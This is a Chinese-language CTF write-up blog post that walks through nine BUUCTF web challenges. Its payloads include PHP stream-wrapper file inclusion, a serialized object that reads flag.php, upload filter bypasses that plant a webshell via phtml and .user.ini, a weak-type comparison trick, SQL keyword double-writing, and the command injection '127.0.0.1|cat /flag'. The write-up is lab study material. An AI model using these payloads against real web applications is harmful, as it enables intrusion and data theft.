BUUCTF刷题记录

1.NiZhuangSiWei

知识点:

php://input,php://filter,文件包含,序列化
赛题代码:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

根据代码这里有三个需要绕过的地方,
1.file_get_contents($text,'r')==='welcome to the zjctf',file_get_contents()函数是将文件内容读取到变量,而这里是从变量读取,所以可以考虑data://或者php://input协议进行绕过
payload1:text=php://input,然后再使用burp或者hackbar POST字符串‘welcome to the zjctf’
payload2:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2.include($file)//useless.php
文件包含,后面又有一个提示useless.php,尝试使用php://filter读取一下该文件的内容,
在这里插入图片描述
解密后的useless.php
在这里插入图片描述
3.根据useless.php里面的__tostring()函数(如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据)和$password = unserialize($password); echo $password;可以构造payload将flag.php打印出来payload:

<?php
class Flag{  //flag.php  
    public $file="flag.php";
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$a=new Flag();
echo urlencode(serialize($a));
?>
//password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

结合上面三个绕过得到最终payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7

在这里插入图片描述

2.Buy You Flag

在menu栏进入到pay.php之后,f12发现注释里面有东西
在这里插入图片描述
burp抓包进行post money和password
在这里插入图片描述
发现提示只有Cuit的学生才可以buy the Flag,再看COOKIE:user=0,果断改为1,
在这里插入图片描述
但是这里又提示,密码长度太长了,尝试改为科学计数法
在这里插入图片描述
拿到flag,网上关于密码长度绕过的方法说是采用strcmp()函数进行比较的,该函数在php5.3.5之前存在漏洞,所以可以绕过,money[]=1也可以拿到flag。

3.Upload

打开赛题,发现是文件上传,上传1.php并同时进行抓包,结果发现抓不到包,前端还是弹出请上传jpg,png,gif结尾的文件,看来是前端js校验了,把js禁用之后成功抓到包
在这里插入图片描述
发现返回的结果是badfile,看来是文件类型不对,尝试修改filename,改为phtml时上传成功,使用蚁剑连接,拿到flag。
在这里插入图片描述

4.BackupFile

御剑扫描发现index.php,但是题目说是backfile猜测是备份文件,index.php.bak,下载下来后,进行分析

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱类型比较,easy,payload:key=123,拿到flag。
弱类型比较时,如果进行比较的是数类型和字符类型,会将字符串转化为数字,转化规则为取最前面的数字,比如‘123asa’–>123

5.Upload

文件上传类型,上传1.php同时进行抓包,
在这里插入图片描述
修改Content-Type:image/jpeg
在这里插入图片描述
再来尝试修改filename,php3,php5,phtml,phP,最终改为phtml时,出现新东西
在这里插入图片描述
提示上传的文件包含<?,?>所以继续将一句话木马改为脚本形式
在这里插入图片描述
又出现新提示,还说不是图片,可能是对上传内容也进行了检测,再加一个GIF89a,成功上传
在这里插入图片描述
猜测上传路径是uploa/1.phtml,使用蚁剑连接拿到flag。

6.CheckIn

一番折腾之后,成功上传了图片马。但是如何让php去执行我的图片马嘞?(经过尝试使用%00截断无法实现,可能php版本高于5.3.4,无截断漏洞存在)
在这里插入图片描述
这里有两种思路,一种是利用.htaccess,一种是利用.user.ini,但是由于该服务器是nginx,.htaccess无法利用,而.user.ini的使用条件是CGI/FastCGI 模式的服务器上都可以使用.user.ini。所以尝试使用它。
所以现在可上传一个.user.ini后再传一个图片马,即可拿到shell,
.user.ini制作:

GIF89a
auto_prepend_file=1.jpg

两者上传成功后使用蚁剑连接即可
在这里插入图片描述

http://ee69dd7a-6399-4e63-85a6-ed42cfe22930.node3.buuoj.cn/uploads/04b0951938d905b41348c1548f9c338b/index.php

具体原理

7.BabySQL

过滤了or,and,from,union,select,by,where这些关键字,采用双写绕过即可,注入类型为数字型注入。

8.Http

Referer,User-Agent,X-Forwarded-For三个http头的利用。

9.Exec

命令执行,127.0.0.1|cat /flag,拿到flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值